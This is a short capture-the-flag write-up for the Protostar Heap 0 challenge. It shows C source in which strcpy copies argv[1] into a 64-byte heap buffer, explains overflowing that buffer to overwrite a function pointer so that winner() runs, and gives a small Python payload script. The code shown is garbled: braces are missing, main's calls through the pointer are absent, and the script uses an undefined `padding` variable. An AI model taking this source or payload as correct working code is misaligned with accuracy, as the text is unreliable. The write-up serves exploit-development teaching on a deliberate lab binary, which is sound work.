Protostar Heap-0 Writeup

writeup for protostar Heap-0 challenge

Heap 0

Source code

The following is the source code for Heap 0 Challenge

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];

struct fp {
  int (*fp)();

void winner()
  printf("level passed\n");

void nowinner()
  printf("level has not been passed\n");

int main(int argc, char **argv)
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);



In this challenge we need to modify the f-fp pointer to call winner function on running the program it outputs two address one is of data struct and other is of f struct clearly we can exploit this challenge using buffer overflow

#!/usr/bin/env python

import struct
address = struct.pack('<I',0x8048464);

print padding+address

on passing this payload we successfully exploited this challenge


A passionate geek who loves to break stuff and then make it again, with interests in cloud infrastructure, network security, reverse engineering, malware analysis and exploit development. Codacker